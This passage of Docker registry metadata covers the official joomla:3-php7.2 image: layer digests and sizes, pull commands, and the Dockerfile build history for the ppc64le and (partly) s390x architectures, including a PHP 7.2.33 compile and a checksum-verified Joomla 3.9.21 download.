Last Modified: Tue, 04 Aug 2020 14:58:57 GMT
Size: 223.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:5237681b89148747d9421150d867c5cc8449bf341cbc8ad214f71d9b03794a23`
Last Modified: Tue, 04 Aug 2020 14:59:36 GMT
Size: 19.1 MB (19112679 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:fa7cf510e15402722d29174d2b186ac456076ed7d047fe794a07db362136ba17`
Last Modified: Tue, 04 Aug 2020 14:59:30 GMT
Size: 437.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:be410499ff850773e8553b98b72aa2ee3faac6f4ae8040ea8f296bd35a419521`
Last Modified: Tue, 04 Aug 2020 14:59:30 GMT
Size: 490.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:a6efe484f493ef80a7f6495ca55c4b85207702542ff1ea572b7edcd7ee36addf`
Last Modified: Fri, 07 Aug 2020 00:52:53 GMT
Size: 12.6 MB (12648411 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:4120067059663d8f19afa8b36bdac8982a71aee3c5e728b57959ffbd38610e41`
Last Modified: Fri, 07 Aug 2020 00:52:51 GMT
Size: 494.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:0ba0a69a392fae34aa0613740276d16c5e0f064963a7079cb5d3c73bba31c4df`
Last Modified: Fri, 07 Aug 2020 00:52:56 GMT
Size: 14.1 MB (14142794 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:6e326359e832250a0912fee7884b8b1ee1bc099ec9c38399135a851c0f1b22ce`
Last Modified: Fri, 07 Aug 2020 00:52:51 GMT
Size: 2.3 KB (2283 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:7de584a5b52f9033142aa58582985da5c4f18ca1d424027c31a9341efee3b745`
Last Modified: Fri, 07 Aug 2020 00:52:50 GMT
Size: 247.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:e2a4b69536ef132dd422665a950a111ea97759b62b1ab942ed406e65136922f5`
Last Modified: Fri, 07 Aug 2020 00:52:50 GMT
Size: 210.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:ac6affb40d7c30ab19f271447b8614b2f5373839ad43e8c34d27017f96592036`
Last Modified: Fri, 07 Aug 2020 00:52:50 GMT
Size: 893.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:475c32f46a39605c62e732178478135ea75e3d91a4a8b8183ad7adf4fd8ab322`
Last Modified: Fri, 07 Aug 2020 03:20:07 GMT
Size: 314.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:270b32b40fba16f38cc884a9d94eb4b423394c129e9be8e5d1ed64ad57166dd5`
Last Modified: Fri, 07 Aug 2020 03:20:08 GMT
Size: 3.3 MB (3338952 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:0d545ba78744720b9b01c15dbd0b6079d63272dcd3699be79fbe0ea7308c0654`
Last Modified: Fri, 07 Aug 2020 03:20:13 GMT
Size: 9.7 MB (9653286 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:fe109a9198fd653738677f3b76c557776ac1bc4aaeb3b86225b0436167d93d82`
Last Modified: Fri, 07 Aug 2020 03:20:07 GMT
Size: 1.2 KB (1172 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:9265cd5f26f6fc1d20bf55158245edbd05b856eac490d347083a7d01933cbe57`
Last Modified: Fri, 07 Aug 2020 03:20:07 GMT
Size: 613.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `joomla:3-php7.2` - linux; ppc64le
```console
$ docker pull joomla@sha256:4833d71108d7ad627653b6659880974d286993fb7bb2e8ba0b99a50656daad75
```
- Docker Version: 18.09.7
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **173.4 MB (173362560 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:992cae39e7dcbd7cc0787ea9e0844e148ee4c27c7ed3b355ef44f7c87e1a3439`
- Entrypoint: `["\/entrypoint.sh"]`
- Default Command: `["apache2-foreground"]`
```dockerfile
# Thu, 10 Sep 2020 01:06:11 GMT
ADD file:4dede556abae88027bd22f3166fdbc38778a6fcd686c5ce768c3ca024ab3f9cf in /
# Thu, 10 Sep 2020 01:06:20 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 11:58:23 GMT
RUN set -eux; { echo 'Package: php*'; echo 'Pin: release *'; echo 'Pin-Priority: -1'; } > /etc/apt/preferences.d/no-debian-php
# Thu, 10 Sep 2020 11:58:28 GMT
ENV PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
# Thu, 10 Sep 2020 12:01:34 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends $PHPIZE_DEPS ca-certificates curl xz-utils ; rm -rf /var/lib/apt/lists/*
# Thu, 10 Sep 2020 12:01:48 GMT
ENV PHP_INI_DIR=/usr/local/etc/php
# Thu, 10 Sep 2020 12:01:59 GMT
RUN set -eux; mkdir -p "$PHP_INI_DIR/conf.d"; [ ! -d /var/www/html ]; mkdir -p /var/www/html; chown www-data:www-data /var/www/html; chmod 777 /var/www/html
# Thu, 10 Sep 2020 12:12:29 GMT
ENV APACHE_CONFDIR=/etc/apache2
# Thu, 10 Sep 2020 12:12:32 GMT
ENV APACHE_ENVVARS=/etc/apache2/envvars
# Thu, 10 Sep 2020 12:14:24 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends apache2; rm -rf /var/lib/apt/lists/*; sed -ri 's/^export ([^=]+)=(.*)$/: ${\1:=\2}\nexport \1/' "$APACHE_ENVVARS"; . "$APACHE_ENVVARS"; for dir in "$APACHE_LOCK_DIR" "$APACHE_RUN_DIR" "$APACHE_LOG_DIR" ; do rm -rvf "$dir"; mkdir -p "$dir"; chown "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$dir"; chmod 777 "$dir"; done; rm -rvf /var/www/html/*; ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; chown -R --no-dereference "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$APACHE_LOG_DIR"
# Thu, 10 Sep 2020 12:14:37 GMT
RUN a2dismod mpm_event && a2enmod mpm_prefork
# Thu, 10 Sep 2020 12:14:54 GMT
RUN { echo '<FilesMatch \.php$>'; echo '\tSetHandler application/x-httpd-php'; echo '</FilesMatch>'; echo; echo 'DirectoryIndex disabled'; echo 'DirectoryIndex index.php index.html'; echo; echo '<Directory /var/www/>'; echo '\tOptions -Indexes'; echo '\tAllowOverride All'; echo '</Directory>'; } | tee "$APACHE_CONFDIR/conf-available/docker-php.conf" && a2enconf docker-php
# Thu, 10 Sep 2020 12:15:00 GMT
ENV PHP_EXTRA_BUILD_DEPS=apache2-dev
# Thu, 10 Sep 2020 12:15:05 GMT
ENV PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi
# Thu, 10 Sep 2020 12:15:10 GMT
ENV PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 12:15:14 GMT
ENV PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 12:15:18 GMT
ENV PHP_LDFLAGS=-Wl,-O1 -pie
# Thu, 10 Sep 2020 14:47:13 GMT
ENV GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F
# Thu, 10 Sep 2020 14:47:20 GMT
ENV PHP_VERSION=7.2.33
# Thu, 10 Sep 2020 14:47:25 GMT
ENV PHP_URL=https://www.php.net/distributions/php-7.2.33.tar.xz PHP_ASC_URL=https://www.php.net/distributions/php-7.2.33.tar.xz.asc
# Thu, 10 Sep 2020 14:47:28 GMT
ENV PHP_SHA256=0f160a3483ffce36be5962fab7bcf09d605ee66c5707df83e4195cb796bbb03a PHP_MD5=
# Thu, 10 Sep 2020 14:50:58 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends gnupg dirmngr; rm -rf /var/lib/apt/lists/*; mkdir -p /usr/src; cd /usr/src; curl -fsSL -o php.tar.xz "$PHP_URL"; if [ -n "$PHP_SHA256" ]; then echo "$PHP_SHA256 *php.tar.xz" | sha256sum -c -; fi; if [ -n "$PHP_MD5" ]; then echo "$PHP_MD5 *php.tar.xz" | md5sum -c -; fi; if [ -n "$PHP_ASC_URL" ]; then curl -fsSL -o php.tar.xz.asc "$PHP_ASC_URL"; export GNUPGHOME="$(mktemp -d)"; for key in $GPG_KEYS; do gpg --batch --keyserver ha.pool.sks-keyservers.net --recv-keys "$key"; done; gpg --batch --verify php.tar.xz.asc php.tar.xz; gpgconf --kill all; rm -rf "$GNUPGHOME"; fi; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark > /dev/null; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false
# Thu, 10 Sep 2020 14:51:02 GMT
COPY file:ce57c04b70896f77cc11eb2766417d8a1240fcffe5bba92179ec78c458844110 in /usr/local/bin/
# Thu, 10 Sep 2020 15:04:17 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libargon2-dev libcurl4-openssl-dev libedit-dev libsodium-dev libsqlite3-dev libssl-dev libxml2-dev zlib1g-dev ${PHP_EXTRA_BUILD_DEPS:-} ; rm -rf /var/lib/apt/lists/*; export CFLAGS="$PHP_CFLAGS" CPPFLAGS="$PHP_CPPFLAGS" LDFLAGS="$PHP_LDFLAGS" ; docker-php-source extract; cd /usr/src/php; gnuArch="$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)"; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; if [ ! -d /usr/include/curl ]; then ln -sT "/usr/include/$debMultiarch/curl" /usr/local/include/curl; fi; ./configure --build="$gnuArch" --with-config-file-path="$PHP_INI_DIR" --with-config-file-scan-dir="$PHP_INI_DIR/conf.d" --enable-option-checking=fatal --with-mhash --enable-ftp --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-sodium=shared --with-pdo-sqlite=/usr --with-sqlite3=/usr --with-curl --with-libedit --with-openssl --with-zlib $(test "$gnuArch" = 's390x-linux-gnu' && echo '--without-pcre-jit') --with-libdir="lib/$debMultiarch" ${PHP_EXTRA_CONFIGURE_ARGS:-} ; make -j "$(nproc)"; find -type f -name '*.a' -delete; make install; find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; make clean; cp -v php.ini-* "$PHP_INI_DIR/"; cd /; docker-php-source delete; apt-mark auto '.*' > /dev/null; [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; find /usr/local -type f -executable -exec ldd '{}' ';' | awk '/=>/ { print $(NF-1) }' | sort -u | xargs -r dpkg-query --search | cut -d: -f1 | sort -u | xargs -r apt-mark manual ; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; pecl update-channels; rm -rf /tmp/pear ~/.pearrc; php --version
# Thu, 10 Sep 2020 15:04:24 GMT
COPY multi:af24b1d34daac0a277386947399eceaaf20d3065d4be5db00b1d6466cf006c49 in /usr/local/bin/
# Thu, 10 Sep 2020 15:04:50 GMT
RUN docker-php-ext-enable sodium
# Thu, 10 Sep 2020 15:05:09 GMT
RUN { echo '#!/bin/sh'; echo 'exec pkg-config "$@" freetype2'; } > /usr/local/bin/freetype-config && chmod +x /usr/local/bin/freetype-config
# Thu, 10 Sep 2020 15:05:20 GMT
ENTRYPOINT ["docker-php-entrypoint"]
# Thu, 10 Sep 2020 15:05:26 GMT
STOPSIGNAL SIGWINCH
# Thu, 10 Sep 2020 15:05:29 GMT
COPY file:e3123fcb6566efa979f945bfac1c94c854a559d7b82723e42118882a8ac4de66 in /usr/local/bin/
# Thu, 10 Sep 2020 15:05:37 GMT
WORKDIR /var/www/html
# Thu, 10 Sep 2020 15:05:42 GMT
EXPOSE 80
# Thu, 10 Sep 2020 15:05:48 GMT
CMD ["apache2-foreground"]
# Fri, 11 Sep 2020 08:28:22 GMT
LABEL maintainer=Harald Leithner <[email protected]> (@HLeithner)
# Fri, 11 Sep 2020 08:28:28 GMT
ENV JOOMLA_INSTALLATION_DISABLE_LOCALHOST_CHECK=1
# Fri, 11 Sep 2020 08:28:39 GMT
RUN a2enmod rewrite
# Fri, 11 Sep 2020 08:32:26 GMT
RUN set -ex; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libbz2-dev libgmp-dev libjpeg-dev libldap2-dev libmcrypt-dev libmemcached-dev libpng-dev libpq-dev ; docker-php-ext-configure gd --with-jpeg-dir=/usr --with-png-dir=/usr; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; docker-php-ext-configure ldap --with-libdir="lib/$debMultiarch"; docker-php-ext-install -j "$(nproc)" bz2 gd gmp ldap mysqli pdo_mysql pdo_pgsql pgsql zip ; pecl install APCu-5.1.18; pecl install memcached-3.1.5; pecl install redis-4.3.0; docker-php-ext-enable apcu memcached redis ; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark; ldd "$(php -r 'echo ini_get("extension_dir");')"/*.so | awk '/=>/ { print $3 }' | sort -u | xargs -r dpkg-query -S | cut -d: -f1 | sort -u | xargs -rt apt-mark manual; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; rm -rf /var/lib/apt/lists/*
# Fri, 11 Sep 2020 08:32:30 GMT
VOLUME [/var/www/html]
# Fri, 11 Sep 2020 08:32:37 GMT
ENV JOOMLA_VERSION=3.9.21
# Fri, 11 Sep 2020 08:32:44 GMT
ENV JOOMLA_SHA512=603027bb54f1aa0c37ecdac7438ce1294120b82a16f6c5b6671d1344e87816cc999d9b7e7fe149800e26d937a97fba383817d3e1c71bd23b1a2d380758de3a1d
# Fri, 11 Sep 2020 08:33:17 GMT
RUN set -ex; curl -o joomla.tar.bz2 -SL https://github.com/joomla/joomla-cms/releases/download/${JOOMLA_VERSION}/Joomla_${JOOMLA_VERSION}-Stable-Full_Package.tar.bz2; echo "$JOOMLA_SHA512 *joomla.tar.bz2" | sha512sum -c -; mkdir /usr/src/joomla; tar -xf joomla.tar.bz2 -C /usr/src/joomla; rm joomla.tar.bz2; chown -R www-data:www-data /usr/src/joomla
# Fri, 11 Sep 2020 08:33:22 GMT
COPY file:f6b7a1c96cc89593a2b9ce4c68af350ae02f2e0c654cd5e842ff6c03641d470e in /entrypoint.sh
# Fri, 11 Sep 2020 08:33:25 GMT
COPY file:5a85d779aaae74cfa3ab6228df0f24236d4d5ad9097e2a1b277e3daea0d6d3dc in /makedb.php
# Fri, 11 Sep 2020 08:33:35 GMT
ENTRYPOINT ["/entrypoint.sh"]
# Fri, 11 Sep 2020 08:33:43 GMT
CMD ["apache2-foreground"]
```
- Layers:
- `sha256:f8aef3d2247e5f990bc767bc99f575b9bcec34aaa37183414eebe28fcd09519d`
Last Modified: Thu, 10 Sep 2020 01:28:12 GMT
Size: 30.5 MB (30517880 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:e1b6d09588296694c116e9adc99909df057a299ccb72aaf6929e3df19b421dab`
Last Modified: Thu, 10 Sep 2020 15:32:08 GMT
Size: 229.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:1f2b21df1bee324f13738f65d0318ece3f0e9f0569ce6b32ddd30f67f34204e4`
Last Modified: Thu, 10 Sep 2020 15:33:25 GMT
Size: 82.3 MB (82260209 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:3d861da2f7d287a59a9e7f854ef705258cd56635a414e1361c62a90f6e142701`
Last Modified: Thu, 10 Sep 2020 15:32:07 GMT
Size: 268.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:c21faa414b3be021e2b9ddde9a7856eb50dc369a044295839424301968191215`
Last Modified: Thu, 10 Sep 2020 15:34:44 GMT
Size: 19.8 MB (19812188 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:6f536043cb1b2d1b27acd8d94f3266a75de4c91e5e5912999ee7c0f67a3c7f8a`
Last Modified: Thu, 10 Sep 2020 15:34:13 GMT
Size: 476.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:0fbe8bc91e06606ea50b533e540b96546fd2ef1277c93a97c92f4b4d2758df12`
Last Modified: Thu, 10 Sep 2020 15:34:12 GMT
Size: 523.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:a8c2ca10e504fbcd0388c7f577b18fc053d3d1acbe6937873900e1cc72a4b7ee`
Last Modified: Thu, 10 Sep 2020 15:48:29 GMT
Size: 12.6 MB (12649251 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:1288c96348551632d7209cb10a9fa89025814ca6d89df1f34714d8c3b8536d64`
Last Modified: Thu, 10 Sep 2020 15:48:28 GMT
Size: 495.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:780c3df8973acc12ddc53aa275bfeb58eaa0545b13a66be9f77b16fcb86af99e`
Last Modified: Thu, 10 Sep 2020 15:48:30 GMT
Size: 14.9 MB (14858675 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:ca6dbde082d73d1bcdef43ee990348d88ad9366f0b13c5518fa0db251e8b2813`
Last Modified: Thu, 10 Sep 2020 15:48:22 GMT
Size: 2.3 KB (2289 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:1b3904361a85b7f4ffa0518324ab6a531263094ebc3933aace221a9d8b714bde`
Last Modified: Thu, 10 Sep 2020 15:48:22 GMT
Size: 249.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:1af73af3bbc8db5564bb190c8c06d79d457e587375b4b7bf8847b8a747ed5c4e`
Last Modified: Thu, 10 Sep 2020 15:48:22 GMT
Size: 213.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:3f7e9237e786604dd9345b8bb3d5df0f322ea277ddf49160013219134de8f33f`
Last Modified: Thu, 10 Sep 2020 15:48:22 GMT
Size: 897.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:d76fd6c9df836bc86f0ad2f5413efd26a87f6c79b81653801d250400bd936956`
Last Modified: Fri, 11 Sep 2020 09:05:30 GMT
Size: 315.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:4cc459761318de762b121e6b0d278c6d2b31423d48a8e7219545a9d3b85da426`
Last Modified: Fri, 11 Sep 2020 09:05:37 GMT
Size: 3.6 MB (3570117 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:bc42058846fbf44cc48459de7279d2f7a00d4c449ef18be3322c5b4d51d97675`
Last Modified: Fri, 11 Sep 2020 09:06:37 GMT
Size: 9.7 MB (9686470 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:2cce63705cce073cd71fa2d69a4defc08f42525e50dd420e0c1ef492adeb2a37`
Last Modified: Fri, 11 Sep 2020 09:05:30 GMT
Size: 1.2 KB (1202 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:7c295d554ecc3fa7f3e82de8d9dafc1e2525fd25411f22157d9e32c34c52dd2e`
Last Modified: Fri, 11 Sep 2020 09:05:30 GMT
Size: 614.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `joomla:3-php7.2` - linux; s390x
```console
$ docker pull joomla@sha256:291dc240edd72956d4a4502c85e937c9528f18e2842d0d9e83bb54ca62f0d633
```
- Docker Version: 18.09.7
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **147.7 MB (147722729 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:77ab9051c8e4ab725663e6ccfb5d4b0e24ca8041b34c6d8610223ffaabc5dcea`
- Entrypoint: `["\/entrypoint.sh"]`
- Default Command: `["apache2-foreground"]`
```dockerfile
# Wed, 09 Sep 2020 23:42:35 GMT
ADD file:65e860d387f18169ea1783465571eaf0946b51c52e560a06759bbc680752f810 in /
# Wed, 09 Sep 2020 23:42:37 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 03:08:49 GMT
RUN set -eux; { echo 'Package: php*'; echo 'Pin: release *'; echo 'Pin-Priority: -1'; } > /etc/apt/preferences.d/no-debian-php
# Thu, 10 Sep 2020 03:08:49 GMT
ENV PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
# Thu, 10 Sep 2020 03:09:05 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends $PHPIZE_DEPS ca-certificates curl xz-utils ; rm -rf /var/lib/apt/lists/*
# Thu, 10 Sep 2020 03:09:08 GMT
ENV PHP_INI_DIR=/usr/local/etc/php
# Thu, 10 Sep 2020 03:09:09 GMT
RUN set -eux; mkdir -p "$PHP_INI_DIR/conf.d"; [ ! -d /var/www/html ]; mkdir -p /var/www/html; chown www-data:www-data /var/www/html; chmod 777 /var/www/html
# Thu, 10 Sep 2020 03:12:12 GMT
ENV APACHE_CONFDIR=/etc/apache2
# Thu, 10 Sep 2020 03:12:12 GMT
ENV APACHE_ENVVARS=/etc/apache2/envvars
# Thu, 10 Sep 2020 03:12:23 GMT
RUN set -eux; apt-get update; apt-get install -y --no-install-recommends apache2; rm -rf /var/lib/apt/lists/*; sed -ri 's/^export ([^=]+)=(.*)$/: ${\1:=\2}\nexport \1/' "$APACHE_ENVVARS"; . "$APACHE_ENVVARS"; for dir in "$APACHE_LOCK_DIR" "$APACHE_RUN_DIR" "$APACHE_LOG_DIR" ; do rm -rvf "$dir"; mkdir -p "$dir"; chown "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$dir"; chmod 777 "$dir"; done; rm -rvf /var/www/html/*; ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; chown -R --no-dereference "$APACHE_RUN_USER:$APACHE_RUN_GROUP" "$APACHE_LOG_DIR"
# Thu, 10 Sep 2020 03:12:24 GMT
RUN a2dismod mpm_event && a2enmod mpm_prefork
# Thu, 10 Sep 2020 03:12:25 GMT
RUN { echo '<FilesMatch \.php$>'; echo '\tSetHandler application/x-httpd-php'; echo '</FilesMatch>'; echo; echo 'DirectoryIndex disabled'; echo 'DirectoryIndex index.php index.html'; echo; echo '<Directory /var/www/>'; echo '\tOptions -Indexes'; echo '\tAllowOverride All'; echo '</Directory>'; } | tee "$APACHE_CONFDIR/conf-available/docker-php.conf" && a2enconf docker-php
# Thu, 10 Sep 2020 03:12:25 GMT
ENV PHP_EXTRA_BUILD_DEPS=apache2-dev
# Thu, 10 Sep 2020 03:12:25 GMT
ENV PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-cgi
# Thu, 10 Sep 2020 03:12:25 GMT
ENV PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 03:12:25 GMT
ENV PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
# Thu, 10 Sep 2020 03:12:26 GMT
ENV PHP_LDFLAGS=-Wl,-O1 -pie
# Thu, 10 Sep 2020 03:46:16 GMT
ENV GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F
# Thu, 10 Sep 2020 03:46:16 GMT
ENV PHP_VERSION=7.2.33
# Thu, 10 Sep 2020 03:46:16 GMT
ENV PHP_URL=https://www.php.net/distributions/php-7.2.33.tar.xz PHP_ASC_URL=https://www.php.net/distributions/php-7.2.33.tar.xz.asc
# Thu, 10 Sep 2020 03:46:16 GMT
ENV PHP_SHA256=0f160a3483ffce36be5962fab7bcf09d605ee66c5707df83e4195cb796bbb03a PHP_MD5=
# Thu, 10 Sep 2020 03:46:23 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends gnupg dirmngr; rm -rf /var/lib/apt/lists/*; mkdir -p /usr/src; cd /usr/src; curl -fsSL -o php.tar.xz "$PHP_URL"; if [ -n "$PHP_SHA256" ]; then echo "$PHP_SHA256 *php.tar.xz" | sha256sum -c -; fi; if [ -n "$PHP_MD5" ]; then echo "$PHP_MD5 *php.tar.xz" | md5sum -c -; fi; if [ -n "$PHP_ASC_URL" ]; then curl -fsSL -o php.tar.xz.asc "$PHP_ASC_URL"; export GNUPGHOME="$(mktemp -d)"; for key in $GPG_KEYS; do gpg --batch --keyserver ha.pool.sks-keyservers.net --recv-keys "$key"; done; gpg --batch --verify php.tar.xz.asc php.tar.xz; gpgconf --kill all; rm -rf "$GNUPGHOME"; fi; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark > /dev/null; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false
# Thu, 10 Sep 2020 03:46:23 GMT
COPY file:ce57c04b70896f77cc11eb2766417d8a1240fcffe5bba92179ec78c458844110 in /usr/local/bin/
# Thu, 10 Sep 2020 03:47:45 GMT
RUN set -eux; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libargon2-dev libcurl4-openssl-dev libedit-dev libsodium-dev libsqlite3-dev libssl-dev libxml2-dev zlib1g-dev ${PHP_EXTRA_BUILD_DEPS:-} ; rm -rf /var/lib/apt/lists/*; export CFLAGS="$PHP_CFLAGS" CPPFLAGS="$PHP_CPPFLAGS" LDFLAGS="$PHP_LDFLAGS" ; docker-php-source extract; cd /usr/src/php; gnuArch="$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)"; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; if [ ! -d /usr/include/curl ]; then ln -sT "/usr/include/$debMultiarch/curl" /usr/local/include/curl; fi; ./configure --build="$gnuArch" --with-config-file-path="$PHP_INI_DIR" --with-config-file-scan-dir="$PHP_INI_DIR/conf.d" --enable-option-checking=fatal --with-mhash --enable-ftp --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-sodium=shared --with-pdo-sqlite=/usr --with-sqlite3=/usr --with-curl --with-libedit --with-openssl --with-zlib $(test "$gnuArch" = 's390x-linux-gnu' && echo '--without-pcre-jit') --with-libdir="lib/$debMultiarch" ${PHP_EXTRA_CONFIGURE_ARGS:-} ; make -j "$(nproc)"; find -type f -name '*.a' -delete; make install; find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; make clean; cp -v php.ini-* "$PHP_INI_DIR/"; cd /; docker-php-source delete; apt-mark auto '.*' > /dev/null; [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; find /usr/local -type f -executable -exec ldd '{}' ';' | awk '/=>/ { print $(NF-1) }' | sort -u | xargs -r dpkg-query --search | cut -d: -f1 | sort -u | xargs -r apt-mark manual ; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; pecl update-channels; rm -rf /tmp/pear ~/.pearrc; php --version
# Thu, 10 Sep 2020 03:47:46 GMT
COPY multi:af24b1d34daac0a277386947399eceaaf20d3065d4be5db00b1d6466cf006c49 in /usr/local/bin/
# Thu, 10 Sep 2020 03:47:47 GMT
RUN docker-php-ext-enable sodium
# Thu, 10 Sep 2020 03:47:47 GMT
RUN { echo '#!/bin/sh'; echo 'exec pkg-config "$@" freetype2'; } > /usr/local/bin/freetype-config && chmod +x /usr/local/bin/freetype-config
# Thu, 10 Sep 2020 03:47:48 GMT
ENTRYPOINT ["docker-php-entrypoint"]
# Thu, 10 Sep 2020 03:47:48 GMT
STOPSIGNAL SIGWINCH
# Thu, 10 Sep 2020 03:47:48 GMT
COPY file:e3123fcb6566efa979f945bfac1c94c854a559d7b82723e42118882a8ac4de66 in /usr/local/bin/
# Thu, 10 Sep 2020 03:47:48 GMT
WORKDIR /var/www/html
# Thu, 10 Sep 2020 03:47:48 GMT
EXPOSE 80
# Thu, 10 Sep 2020 03:47:49 GMT
CMD ["apache2-foreground"]
# Thu, 10 Sep 2020 08:28:11 GMT
LABEL maintainer=Harald Leithner <[email protected]> (@HLeithner)
# Thu, 10 Sep 2020 08:28:11 GMT
ENV JOOMLA_INSTALLATION_DISABLE_LOCALHOST_CHECK=1
# Thu, 10 Sep 2020 08:28:12 GMT
RUN a2enmod rewrite
# Thu, 10 Sep 2020 08:29:17 GMT
